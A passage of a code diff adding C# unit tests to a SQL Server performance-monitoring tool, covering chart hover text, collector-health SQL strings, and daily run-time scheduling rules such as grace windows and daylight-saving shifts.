+                .Select((x, i) => hover.HoverTextAt(chart.Plot.GetPixel(new ScottPlot.Coordinates(x, line.MaxMs[i]))))
+                .ToList();
+        });
+
+    /// <summary>The popup's fourth line, or <c>null</c> when it is the three lines it is without one.</summary>
+    private static string? DetailOf(string? hover)
+    {
+        Assert.NotNull(hover);
+        var lines = hover!.Split('\n');
+        return lines.Length == 4 ? lines[3] : null;
+    }
+
+    /// <summary>
+    /// The observed case: twenty buckets and one break. The hover on bucket 10 said "Slowest of 12 runs; average 61 ms" (bucket
+    /// 11's), because the break pushed it one point along the scatter, and the last bucket said nothing, because its place
+    /// ran off the end of the lines. Each bucket says its own.
+    /// </summary>
+    [Fact]
+    public void ABucketAfterABreak_ShowsItsOwnRunsAndAverage_NotTheNextBucketsAndTheLastOneShowsItsOwn()
+    {
+        var text = HoverOverEachBucket(TwentyBucketsWithOneBreak());
+
+        Assert.Equal(20, text.Count);
+        Assert.Equal("Slowest of 11 runs; average 60 ms", DetailOf(text[10]));
+        Assert.Equal("Slowest of 20 runs; average 69 ms", DetailOf(text[19]));
+        for (var k = 0; k < text.Count; k++)
+        {
+            Assert.Equal($"Slowest of {k + 1} {(k == 0 ? "run" : "runs")}; average {50 + k} ms", DetailOf(text[k]));
+        }
+    }
+
+    /// <summary>
+    /// The hover lines are keyed by the X each bucket is drawn at, and the point the line inserts at the break is none of
+    /// them: every real point of the drawn scatter finds its own bucket's line, and the NaN point between the two buckets the
+    /// break separates finds none.
+    /// </summary>
+    [Fact]
+    public void TheLinesAreKeyedByX_SoEveryDrawnBucketFindsItsOwn_AndThePointTheBreakInsertsFindsNone()
+    {
+        var (line, drawn) = StaTestThread.Run(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            var series = Assert.Single(ServerTab.BuildCollectorDurationSeries(TwentyBucketsWithOneBreak()));
+            ServerTab.PlotCollectorDurationSeries(chart, null, new[] { series });
+            var scatter = Assert.Single(chart.Plot.PlottableList.OfType<ScottPlot.Plottables.Scatter>());
+
+            return (series, scatter.Data.GetScatterPoints().ToList());
+        });
+
+        var byX = line.DetailsByX();
+
+        Assert.Equal(20, byX.Count);
+        Assert.Equal(21, drawn.Count);
+        var inserted = Assert.Single(drawn, p => double.IsNaN(p.Y));
+        Assert.False(byX.ContainsKey(inserted.X), "the point the break inserted has a hover line");
+        var real = drawn.Where(p => !double.IsNaN(p.Y)).ToList();
+        Assert.Equal(20, real.Count);
+        for (var k = 0; k < real.Count; k++)
+        {
+            Assert.Equal(line.Details[k], byX[real[k].X]);
+        }
+    }
+
+    /// <summary>
+    /// A line with no gap, and a series registered without hover lines, keep what they always said: the label, the value and
+    /// the time, three lines, and the buckets before the first break are unchanged either way.
+    /// </summary>
+    [Fact]
+    public void ASeriesRegisteredWithoutDetails_KeepsTheThreeLineText()
+    {
+        var text = StaTestThread.Run(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            var hover = new ChartHoverHelper(chart, "ms", displayZone: () => TimeZoneInfo.Utc);
+            var xs = new[] { Start.ToOADate(), Start.AddMinutes(10).ToOADate(), Start.AddMinutes(20).ToOADate() };
+            var scatter = chart.Plot.Add.Scatter(xs, new double[] { 5, 9, 7 });
+            hover.Add(scatter, "wait_stats");
+            chart.Plot.Axes.AutoScale();
+            using var render = chart.Plot.GetImage(1000, 400);
+
+            return hover.HoverTextAt(chart.Plot.GetPixel(new ScottPlot.Coordinates(xs[1], 9)));
+        });
+
+        Assert.NotNull(text);
+        var lines = text!.Split('\n');
+        Assert.Equal(3, lines.Length);
+        Assert.Equal("wait_stats", lines[0]);
+        Assert.Equal("9 ms", lines[1]);
+    }
+
+    /// <summary>
+    /// Clearing the hover is what an empty range does to what the last range registered (the render clears it before it
+    /// draws): with the mouse over a point that had a line, the hover said it, and after the clear it says nothing.
+    /// </summary>
+    [Fact]
+    public void ClearingTheHover_LeavesItHoldingNothing()
+    {
+        var (before, after) = StaTestThread.Run(() =>
+        {
+            var chart = new ScottPlot.WPF.WpfPlot();
+            var hover = new ChartHoverHelper(chart, "ms", displayZone: () => TimeZoneInfo.Utc);
+            var line = Assert.Single(ServerTab.BuildCollectorDurationSeries(TwentyBucketsWithOneBreak()));
+            ServerTab.PlotCollectorDurationSeries(chart, hover, new[] { line });
+            chart.Plot.Axes.AutoScale();
+            using var render = chart.Plot.GetImage(1000, 400);
+            var pixel = chart.Plot.GetPixel(new ScottPlot.Coordinates(line.Xs[10], line.MaxMs[10]));
+
+            var held = hover.HoverTextAt(pixel);
+            hover.Clear();
+            return (held, hover.HoverTextAt(pixel));
+        });
+
+        Assert.NotNull(before);
+        Assert.Null(after);
+    }
+
+    /// <summary>
+    /// The source of <c>UpdateCollectorDurationChart</c>, comments blanked where the pins below look for code and kept where
+    /// they look for the label's text: the method's braces, found in the code-only text, cut the same span out of the file.
+    /// </summary>
+    private static (string Source, string Code) UpdateCollectorDurationChartBody()
+    {
+        var file = Lite.Tests.ParitySource.ReadFile("Lite/Controls/ServerTab.Charts.cs");
+        var fileCode = CSharpSourceWalker.StripCommentsAndStrings(file);
+        var start = fileCode.IndexOf("private void UpdateCollectorDurationChart(", StringComparison.Ordinal);
+        Assert.True(start >= 0, "ServerTab.Charts.cs has no UpdateCollectorDurationChart");
+        var open = fileCode.IndexOf('{', start);
+        var length = CSharpSourceWalker.BraceBalanced(fileCode, open).Length;
+
+        return (file.Substring(open, length), fileCode.Substring(open, length));
+    }
+
+    /// <summary>
+    /// The chart draws each bucket's slowest run, so its Y axis says that, in the words the Darling viewer's chart uses.
+    /// It used to say "Duration (ms)", which reads as the average a run takes.
+    /// </summary>
+    [Fact]
+    public void TheYAxisLabel_NamesTheSlowestRunPerBucket()
+    {
+        var (source, code) = UpdateCollectorDurationChartBody();
+        var literals = CSharpSourceWalker.StringLiteralBodies(source).Select(l => l.Text).ToList();
+
+        Assert.Contains("Plot.YLabel(", code, StringComparison.Ordinal);
+        Assert.Contains("Slowest run per bucket (ms)", literals);
+        Assert.DoesNotContain("Duration (ms)", literals);
+    }
+
+    /// <summary>
+    /// A range with no points returns early, so the hover must be cleared before that return: it was cleared only on the way
+    /// to drawing, and a tooltip registered by the range before was left on an empty chart.
+    /// </summary>
+    [Fact]
+    public void AnEmptyRange_ClearsTheHover_BeforeItReturns()
+    {
+        var (_, code) = UpdateCollectorDurationChartBody();
+
+        var clear = code.IndexOf("_collectorDurationHover?.Clear();", StringComparison.Ordinal);
+        var emptyReturn = code.IndexOf("if (data.Count == 0)", StringComparison.Ordinal);
+
+        Assert.True(clear >= 0, "UpdateCollectorDurationChart no longer clears the hover");
+        Assert.True(emptyReturn >= 0, "UpdateCollectorDurationChart no longer has its empty-range path");
+        Assert.True(clear < emptyReturn, "UpdateCollectorDurationChart clears the hover only after the empty range has returned");
+        Assert.Equal(code.IndexOf("_collectorDurationHover?.Clear();", StringComparison.Ordinal), code.LastIndexOf("_collectorDurationHover?.Clear();", StringComparison.Ordinal));
+    }
+
+}
diff --git a/Lite.Tests/CollectorGateSurfacePinTests.cs b/Lite.Tests/CollectorGateSurfacePinTests.cs
index 9da05e62ef..9522d21fc0 100644
--- a/Lite.Tests/CollectorGateSurfacePinTests.cs
+++ b/Lite.Tests/CollectorGateSurfacePinTests.cs
@@ -38,6 +38,7 @@ namespace Lite.Tests;
 /// name, a switch string that drifted from its definition's <c>Name</c> would make the gate silently no-op.</item>
 /// </list>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class CollectorGateSurfacePinTests
 {
     /* Representative targets spanning every gate dimension. */
diff --git a/Lite.Tests/CollectorHealthClassifierTests.cs b/Lite.Tests/CollectorHealthClassifierTests.cs
index 339c7e5f7a..decfd3bc3f 100644
--- a/Lite.Tests/CollectorHealthClassifierTests.cs
+++ b/Lite.Tests/CollectorHealthClassifierTests.cs
@@ -188,10 +188,15 @@ passed by matching nothing cannot hide here. */
         Assert.DoesNotContain("SUM(CASE WHEN status = 'ABANDONED' THEN 1 ELSE 0 END)", sql, StringComparison.Ordinal);
         Assert.Contains("SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END)", sql, StringComparison.Ordinal);
 
-        /* The predicate reads rows_collected, and this query's aggregates sit outside a subquery that
-           ENUMERATES its columns - so the column has to be projected through it or the read fails at the
-           store and nowhere earlier. */
+        /* The predicate reads rows_collected. Until #5371 this query's aggregates sat outside a subquery that
+           ENUMERATES its columns, so the column had to be projected through it or the read failed at the
+           store and nowhere earlier. The aggregates now read v_collection_log directly (one CTE, no column
+           list in between), so what has to hold is the same claim in its new form: the abandonment
+           aggregate is computed over the view's own rows, ahead of the first FROM of the view. */
         Assert.Contains("rows_collected,", sql, StringComparison.Ordinal);
+        Assert.True(
+            sql.IndexOf("AS abandoned_count", StringComparison.Ordinal) < sql.IndexOf("FROM v_collection_log", StringComparison.Ordinal),
+            "abandoned_count must be aggregated over the view's own rows, not over a projected subquery");
     }
 
     /// <summary>
@@ -481,7 +486,12 @@ public void TheBandingRow_BandsWarning_OnTheNewestRunsNote_AndNotOnAnOlderOne()
     [Fact]
     public void TheCollectionHealthReadSql_ProjectsTheNewestRunsNote()
     {
-        Assert.Contains("recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note", LocalDataService.CollectionHealthSql, StringComparison.Ordinal);
+        var sql = LocalDataService.CollectionHealthSql;
+
+        /* #5371: the newest run is a keyed lookup at the aggregate's newest instant (it was recency_rank = 1),
+           and the SUCCESS gate still decides whether its message is a note. */
+        Assert.Contains("CASE WHEN newest.pick.status = 'SUCCESS' THEN newest.pick.error_message END AS latest_run_note", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   n.collection_time = h.last_run_time", sql, StringComparison.Ordinal);
     }
 
 }
diff --git a/Lite.Tests/CollectorRunTimeScheduleTests.cs b/Lite.Tests/CollectorRunTimeScheduleTests.cs
new file mode 100644
index 0000000000..3c3304bedb
--- /dev/null
+++ b/Lite.Tests/CollectorRunTimeScheduleTests.cs
@@ -0,0 +1,1232 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4938: a daily collector can carry a run time, a "run_at" of HH:MM on the monitored server's clock in
+/// collection_schedule.json. These pin Lite's half: the file field, the due rule in
+/// <see cref="ScheduleManager.GetDueCollectorsForServer(string, DateTime)"/>, and the tab-open selection. Every
+/// instant is derived from <see cref="CollectorRunTime.SlotUtc"/>, because a day's slot is the run time plus the
+/// server's fixed spread of up to an hour, never a hand-written clock time.
+/// </summary>
+public sealed class CollectorRunTimeScheduleTests : IDisposable
+{
+    private const string ServerKey = "run-time-server";
+    private const string ServerName = "run-time-server-name";
+    private const string Daily = "daily_job";
+    private const int StorageId = 1_234_567_891;
+
+    private static readonly ServerClock Eastern = ServerClock.Resolve("Eastern Standard Time", -300);
+
+    private readonly string _configDir = Directory.CreateTempSubdirectory("pm-lite-run-time-tests-").FullName;
+
+    public void Dispose()
+    {
+        try { Directory.Delete(_configDir, recursive: true); } catch { /* best effort */ }
+    }
+
+    private string SchedulePath => Path.Combine(_configDir, "collection_schedule.json");
+
+    private static DateTime Slot(DateOnly date, int runAtMinute, ServerClock? clock = null) =>
+        CollectorRunTime.SlotUtc(date, runAtMinute, StorageId, clock is null ? CollectorRunTime.LocalIsUtc : clock.ToUtc);
+
+    private ScheduleManager Manager(string? runAt = "02:00", int frequency = 1440, ServerClock? clock = null,
+        ILogger<ScheduleManager>? log = null, string collector = Daily)
+    {
+        var manager = new ScheduleManager(_configDir, log);
+        manager.SetScheduleForServer(ServerKey, new List<CollectorSchedule>
+        {
+            new() { Name = collector, Enabled = true, FrequencyMinutes = frequency, RunAt = runAt },
+        });
+        manager.SetServerRunContext(ServerKey, StorageId, ServerName, clock);
+        return manager;
+    }
+
+    /* A hand-edited collection_schedule.json can carry a run time the editor and the write APIs would have refused. The
+       load keeps only collectors the dispatch knows, so the name is a real one; the load also adds the rest of the defaults. */
+    private ScheduleManager ManagerFromFile(string collector, string runAt, int frequency, ILogger<ScheduleManager>? log = null)
+    {
+        File.WriteAllText(SchedulePath, $$"""
+            {
+              "version": 2,
+              "default_schedule": [],
+              "server_overrides": {
+                "{{ServerKey}}": { "collectors": [ { "name": "{{collector}}", "enabled": true, "frequency_minutes": {{frequency}}, "retention_days": 30, "run_at": "{{runAt}}" } ] }
+              }
+            }
+            """);
+        var manager = new ScheduleManager(_configDir, log);
+        manager.SetServerRunContext(ServerKey, StorageId, ServerName, clock: null);
+        return manager;
+    }
+
+    private static bool IsDue(ScheduleManager manager, string collector, DateTime atUtc) =>
+        manager.GetDueCollectorsForServer(ServerKey, atUtc).Any(s => s.Name == collector);
+
+    private static List<string> Due(ScheduleManager manager, DateTime atUtc) =>
+        manager.GetDueCollectorsForServer(ServerKey, atUtc).Select(s => s.Name).ToList();
+
+    private static readonly DateOnly Day = new(2026, 7, 15);
+
+    // ── the due rule ─────────────────────────────────────────────────────────────
+
+    [Fact]
+    public void ACollectorWithARunTime_IsNotDueBeforeTheDaysTime()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, slot - TimeSpan.FromDays(1) + TimeSpan.FromMinutes(5));
+
+        Assert.Empty(Due(manager, slot - TimeSpan.FromMinutes(1)));
+        Assert.Empty(Due(manager, slot - TimeSpan.FromHours(6)));
+    }
+
+    [Fact]
+    public void ACollectorWithARunTime_IsDueInsideTheGrace_FromTheSlotToTheEndOfTheGrace()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, slot - TimeSpan.FromDays(1) + TimeSpan.FromMinutes(5));
+
+        Assert.Equal(new[] { Daily }, Due(manager, slot));
+        Assert.Equal(new[] { Daily }, Due(manager, slot + TimeSpan.FromMinutes(30)));
+        Assert.Equal(new[] { Daily }, Due(manager, slot + CollectorRunTime.Grace));
+    }
+
+    [Fact]
+    public void ACollectorWithARunTime_AfterTheGrace_IsNotDue_AndTheDayIsSkipped()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+
+        /* Lite was closed through the whole grace: the day is skipped, and the collector is not replayed later in the
+           day. It is due again at the next day's time. */
+        manager.MarkCollectorRunForServer(ServerKey, Daily, slot - TimeSpan.FromDays(1) + TimeSpan.FromMinutes(5));
+
+        Assert.Empty(Due(manager, slot + CollectorRunTime.Grace + TimeSpan.FromMinutes(1)));
+        Assert.Empty(Due(manager, slot + TimeSpan.FromHours(10)));
+        Assert.Equal(new[] { Daily }, Due(manager, Slot(Day.AddDays(1), 120, Eastern) + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void ACollectorWithARunTime_AfterARunInsideTheGrace_IsNotDueAgainTheSameDay()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+        var ranAt = slot + TimeSpan.FromMinutes(2);
+
+        Assert.Equal(new[] { Daily }, Due(manager, ranAt));
+        manager.MarkCollectorRunForServer(ServerKey, Daily, ranAt);
+
+        Assert.Empty(Due(manager, ranAt + TimeSpan.FromMinutes(1)));
+        Assert.Empty(Due(manager, slot + CollectorRunTime.Grace));
+        Assert.Empty(Due(manager, slot + TimeSpan.FromHours(12)));
+        Assert.Equal(new[] { Daily }, Due(manager, Slot(Day.AddDays(1), 120, Eastern) + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void AnAttemptThatDidNotSucceed_EndsTheDay_OfACollectorWithARunTime_AndTheNextDaysSlotIsDue()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+        var attemptAt = slot + TimeSpan.FromMinutes(2);
+
+        /* A failed run writes its collection_log row, and a restart reads that row as the day's run. The session
+           counts the attempt the same way, so the failing collector is not run again on every sweep of the hour. */
+        Assert.Equal(new[] { Daily }, Due(manager, attemptAt));
+        manager.MarkCollectorAttemptForServer(ServerKey, Daily, attemptAt);
+
+        Assert.Empty(Due(manager, attemptAt + TimeSpan.FromMinutes(1)));
+        Assert.Empty(Due(manager, slot + CollectorRunTime.Grace));
+        Assert.Empty(Due(manager, slot + TimeSpan.FromHours(12)));
+        Assert.Empty(Due(manager, Slot(Day.AddDays(1), 120, Eastern) - TimeSpan.FromMinutes(1)));
+        Assert.Equal(new[] { Daily }, Due(manager, Slot(Day.AddDays(1), 120, Eastern) + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void AnAttemptThatDidNotSucceed_EndsTheDay_OfADailyCollectorWithNoRunTime_AndItIsDueAnIntervalLater()
+    {
+        var plainDaily = Manager(runAt: null, clock: Eastern);
+        var attemptAt = Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(2);
+
+        /* A failed run writes its collection_log row, and a restart reads that row as the last run. The session counts the
+           attempt the same way, so a daily collector that keeps failing (a missing permission, say) runs once, not on every
+           sweep of the day, and is due again an interval after the attempt. */
+        Assert.Equal(new[] { Daily }, Due(plainDaily, attemptAt));
+        plainDaily.MarkCollectorAttemptForServer(ServerKey, Daily, attemptAt);
+
+        Assert.Empty(Due(plainDaily, attemptAt + TimeSpan.FromMinutes(1)));
+        Assert.Empty(Due(plainDaily, attemptAt + TimeSpan.FromHours(12)));
+        Assert.Empty(Due(plainDaily, attemptAt + TimeSpan.FromDays(1) - TimeSpan.FromMinutes(1)));
+        Assert.Equal(new[] { Daily }, Due(plainDaily, attemptAt + TimeSpan.FromDays(1)));
+    }
+
+    [Fact]
+    public void AnAttemptThatDidNotSucceed_EndsTheirPeriod_OfACollectorWhoseIntervalIsSeveralWholeDays_WithOrWithoutARunTime()
+    {
+        var attemptAt = Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(2);
+
+        foreach (var runAt in new string?[] { null, "02:00" })
+        {
+            var weekly = Manager(runAt: runAt, frequency: 7 * 1440, clock: Eastern);
+            weekly.MarkCollectorAttemptForServer(ServerKey, Daily, attemptAt);
+
+            Assert.Empty(Due(weekly, attemptAt + TimeSpan.FromMinutes(1)));
+            Assert.Empty(Due(weekly, attemptAt + TimeSpan.FromDays(3)));
+        }
+
+        /* An interval of a day or more that is not whole days (2000 minutes) ends its period the same way, with no run
+           time to set: ACollectorWhoseIntervalIsADayOrMoreButNotWholeDays_... below runs it. */
+    }
+
+    [Fact]
+    public void ACollectorWhoseIntervalIsADayOrMoreButNotWholeDays_ThatKeepsFailing_RunsOncePerPeriod_NotOnEverySweep()
+    {
+        /* 2000 minutes is more than a day and not a whole number of days, so it can carry no run time, but it is a
+           daily-or-longer collector all the same: the start-up read seeds its last run, and a failed attempt counts the
+           same way, so a collector that keeps failing is not run again on every sweep. */
+        var manager = Manager(runAt: null, frequency: 2000, clock: Eastern);
+        var start = Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(2);
+
+        var ranAtMinutes = new List<int>();
+        for (var minute = 0; minute <= 4000; minute += 5)
+        {
+            var at = start + TimeSpan.FromMinutes(minute);
+            if (IsDue(manager, Daily, at))
+            {
+                ranAtMinutes.Add(minute);
+                manager.MarkCollectorAttemptForServer(ServerKey, Daily, at);
+            }
+        }
+
+        Assert.Equal(new[] { 0, 2000, 4000 }, ranAtMinutes);
+    }
+
+    [Theory]
+    [InlineData(15)]
+    [InlineData(1439)]
+    [InlineData(1440)]
+    [InlineData(2000)]
+    [InlineData(2880)]
+    [InlineData(10080)]
+    public void TheStartUpSeed_AndTheFailedAttempt_AgreeOnWhichCollectorsAreDailyOrLonger(int frequency)
+    {
+        var manager = Manager(runAt: null, frequency: frequency, clock: Eastern);
+        var attemptAt = Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(2);
+
+        /* One rule, a day or longer, decides both: whether the start-up read looks up the collector's last run, and
+           whether a failed attempt counts as its run. A collector one of them took and the other left would be seeded
+           but run on every sweep after a failure, or the reverse. */
+        var seeded = manager.GetDailyCollectorIntervalsForServer(ServerKey).ContainsKey(Daily);
+
+        manager.MarkCollectorAttemptForServer(ServerKey, Daily, attemptAt);
+        var attemptCounted = !IsDue(manager, Daily, attemptAt + TimeSpan.FromMinutes(1));
+
+        Assert.Equal(frequency >= 1440, seeded);
+        Assert.Equal(seeded, attemptCounted);
+    }
+
+    [Fact]
+    public void AnAttempt_OfACollectorThatRunsMoreOftenThanADay_OrOneTheScheduleDoesNotList_ChangesNothing()
+    {
+        var now = Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(2);
+
+        /* A shorter interval keeps today's rule: a failing collector is due again on the next sweep. */
+        var frequent = Manager(runAt: null, frequency: 15, clock: Eastern, collector: "wait_stats");
+        frequent.MarkCollectorAttemptForServer(ServerKey, "wait_stats", now);
+        Assert.True(IsDue(frequent, "wait_stats", now + TimeSpan.FromMinutes(1)));
+
+        /* A run time on an hourly interval is refused and ignored with a warning, so the interval rule stands there too. */
+        var hourly = ManagerFromFile("wait_stats", "02:00", frequency: 60);
+        hourly.MarkCollectorAttemptForServer(ServerKey, "wait_stats", now);
+        Assert.True(IsDue(hourly, "wait_stats", now + TimeSpan.FromMinutes(1)));
+
+        /* A collector the schedule does not list has nothing to record. */
+        var plainDaily = Manager(runAt: null, clock: Eastern);
+        plainDaily.MarkCollectorAttemptForServer(ServerKey, "not_in_the_schedule", now);
+        Assert.Equal(new[] { Daily }, Due(plainDaily, now + TimeSpan.FromMinutes(2)));
+    }
+
+    [Fact]
+    public void ASuccessfulRun_OfADailyCollectorWithNoRunTime_IsDueADayLater_AsBefore()
+    {
+        var plainDaily = Manager(runAt: null, clock: Eastern);
+        var ranAt = Slot(Day, 120, Eastern) + TimeSpan.FromMinutes(2);
+
+        plainDaily.MarkCollectorRunForServer(ServerKey, Daily, ranAt);
+
+        Assert.Empty(Due(plainDaily, ranAt + TimeSpan.FromHours(23)));
+        Assert.Equal(new[] { Daily }, Due(plainDaily, ranAt + TimeSpan.FromHours(24)));
+    }
+
+    [Fact]
+    public void ANeverRunCollectorWithARunTime_WaitsForTheNextDaysTime_ThenRunsInsideItsGrace()
+    {
+        var manager = Manager(clock: Eastern);
+        var slot = Slot(Day, 120, Eastern);
+
+        /* Past today's grace with no run on record: it does not run at start-up, it waits for tomorrow's time. */
+        Assert.Empty(Due(manager, slot + CollectorRunTime.Grace + TimeSpan.FromMinutes(1)));
+        Assert.Empty(Due(manager, slot + TimeSpan.FromHours(5)));
+        Assert.Equal(new[] { Daily }, Due(manager, Slot(Day.AddDays(1), 120, Eastern) + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void ASpringForwardDay_KeepsTheRunTimeOnTheServersLocalClock()
+    {
+        var manager = Manager(runAt: "04:00", clock: Eastern);
+        var before = Slot(new DateOnly(2026, 3, 7), 240, Eastern);
+        var change = Slot(new DateOnly(2026, 3, 8), 240, Eastern);
+
+        Assert.Equal(TimeSpan.FromHours(23), change - before);
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, before + TimeSpan.FromMinutes(2));
+
+        /* A slot of last run + 1440 minutes would land an hour later, at 05:00 local. */
+        Assert.Empty(Due(manager, change - TimeSpan.FromMinutes(1)));
+        Assert.Equal(new[] { Daily }, Due(manager, change + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void AFallBackDay_KeepsTheRunTimeOnTheServersLocalClock()
+    {
+        var manager = Manager(runAt: "04:00", clock: Eastern);
+        var before = Slot(new DateOnly(2026, 10, 31), 240, Eastern);
+        var change = Slot(new DateOnly(2026, 11, 1), 240, Eastern);
+
+        Assert.Equal(TimeSpan.FromHours(25), change - before);
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, before + TimeSpan.FromMinutes(2));
+
+        /* A slot of last run + 1440 minutes would land an hour early, at 03:00 local. */
+        Assert.Empty(Due(manager, change - TimeSpan.FromMinutes(30)));
+        Assert.Equal(new[] { Daily }, Due(manager, change + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void WithNoClockYet_TheRunTimeIsReadAsUtc_AndTheClockMovesItWhenItArrives()
+    {
+        var manager = Manager(clock: null);
+        var utcSlot = Slot(Day, 120);
+        var easternSlot = Slot(Day, 120, Eastern);
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, utcSlot - TimeSpan.FromDays(1) + TimeSpan.FromMinutes(5));
+        Assert.Empty(Due(manager, utcSlot - TimeSpan.FromMinutes(1)));
+        Assert.Equal(new[] { Daily }, Due(manager, utcSlot + TimeSpan.FromMinutes(1)));
+
+        /* The server's clock arrives: the same instant is no longer inside the grace, and the new slot is. */
+        manager.SetServerRunContext(ServerKey, StorageId, ServerName, Eastern);
+        Assert.Empty(Due(manager, utcSlot + TimeSpan.FromMinutes(1)));
+        Assert.Equal(new[] { Daily }, Due(manager, easternSlot + TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void ACollectorWithoutARunTime_KeepsTodaysRule()
+    {
+        var manager = Manager(runAt: null);
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+
+        Assert.Equal(new[] { Daily }, Due(manager, now));
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, now - TimeSpan.FromHours(23));
+        Assert.Empty(Due(manager, now));
+
+        manager.MarkCollectorRunForServer(ServerKey, Daily, now - TimeSpan.FromHours(24));
+        Assert.Equal(new[] { Daily }, Due(manager, now));
+    }
+
+    [Fact]
+    public void ARunTimeOnAnHourlyCollector_IsIgnored_WithOneWarningThatNamesTheCollectorAndTheServer()
+    {
+        var log = new CapturingLog();
+        var manager = ManagerFromFile("server_config", runAt: "02:00", frequency: 60, log);
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+
+        /* The plain interval rule, as if no run time were set. */
+        Assert.True(IsDue(manager, "server_config", now));
+        manager.MarkCollectorRunForServer(ServerKey, "server_config", now - TimeSpan.FromMinutes(30));
+        Assert.False(IsDue(manager, "server_config", now));
+        manager.MarkCollectorRunForServer(ServerKey, "server_config", now - TimeSpan.FromMinutes(61));
+        Assert.True(IsDue(manager, "server_config", now));
+
+        var warning = Assert.Single(log.Entries, e => e.Level == LogLevel.Warning && e.Message.Contains("server_config", StringComparison.Ordinal));
+        Assert.Contains(ServerName, warning.Message, StringComparison.Ordinal);
+        Assert.Contains("60 minutes", warning.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARunTimeThatIsNotAnHHMMTime_IsIgnored_WithOneWarning()
+    {
+        var log = new CapturingLog();
+        var manager = ManagerFromFile("index_object_stats", runAt: "25:00", frequency: 1440, log);
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+
+        Assert.True(IsDue(manager, "index_object_stats", now));
+        Assert.True(IsDue(manager, "index_object_stats", now.AddMinutes(1)));
+
+        var warning = Assert.Single(log.Entries, e => e.Level == LogLevel.Warning && e.Message.Contains("index_object_stats", StringComparison.Ordinal));
+        Assert.Contains(ServerName, warning.Message, StringComparison.Ordinal);
+    }
+
+    /* A run_at that is not a JSON string (a hand edit such as "run_at": 120) used to throw while the file was read, so the
+       whole file fell back to the backup or the defaults and every other edit in it was lost. It now costs only that
+       collector's run time: the value reads as its own JSON text, the run-time check refuses it like "25:00" with the same
+       warning, and the collector runs on its interval. */
+    [Theory]
+    [InlineData("120", "120")]
+    [InlineData("1.5", "1.5")]
+    [InlineData("true", "true")]
+    [InlineData("false", "false")]
+    [InlineData("""{ "at": "02:00" }""", """{ "at": "02:00" }""")]
+    [InlineData("""[ "02:00" ]""", """[ "02:00" ]""")]
+    public void ARunTimeThatIsNotAJsonString_CostsOnlyThatCollectorsRunTime_NotTheWholeFile(string token, string expectedText)
+    {
+        File.WriteAllText(SchedulePath, $$"""
+            {
+              "version": 2,
+              "default_schedule": [],
+              "server_overrides": {
+                "{{ServerKey}}": { "collectors": [
+                  { "name": "index_object_stats", "enabled": true, "frequency_minutes": 1440, "retention_days": 30, "run_at": {{token}} },
+                  { "name": "wait_stats", "enabled": true, "frequency_minutes": 7, "retention_days": 11 }
+                ] }
+              }
+            }
+            """);
+        var log = new CapturingLog();
+        var manager = new ScheduleManager(_configDir, log);
+        manager.SetServerRunContext(ServerKey, StorageId, ServerName, clock: null);
+
+        /* The other collector's edits survive: the file did not fall back to the defaults. */
+        var other = manager.GetScheduleForServer(ServerKey, "wait_stats");
+        Assert.Equal(7, other!.FrequencyMinutes);
+        Assert.Equal(11, other.RetentionDays);
+        Assert.DoesNotContain(log.Entries, e => e.Level == LogLevel.Error);
+
+        /* The bad value reads as its own text and is refused like 25:00: the collector runs on its interval. */
+        Assert.Equal(expectedText, manager.GetScheduleForServer(ServerKey, "index_object_stats")!.RunAt);
+        var now = new DateTime(2026, 7, 15, 9, 0, 0, DateTimeKind.Utc);
+        Assert.True(IsDue(manager, "index_object_stats", now));
+        manager.MarkCollectorRunForServer(ServerKey, "index_object_stats", now - TimeSpan.FromHours(23));
+        Assert.False(IsDue(manager, "index_object_stats", now));
+        manager.MarkCollectorRunForServer(ServerKey, "index_object_stats", now - TimeSpan.FromHours(25));
+        Assert.True(IsDue(manager, "index_object_stats", now));
+
+        var warning = Assert.Single(log.Entries, e => e.Level == LogLevel.Warning && e.Message.Contains("index_object_stats", StringComparison.Ordinal));
+        Assert.Contains(ServerName, warning.Message, StringComparison.Ordinal);
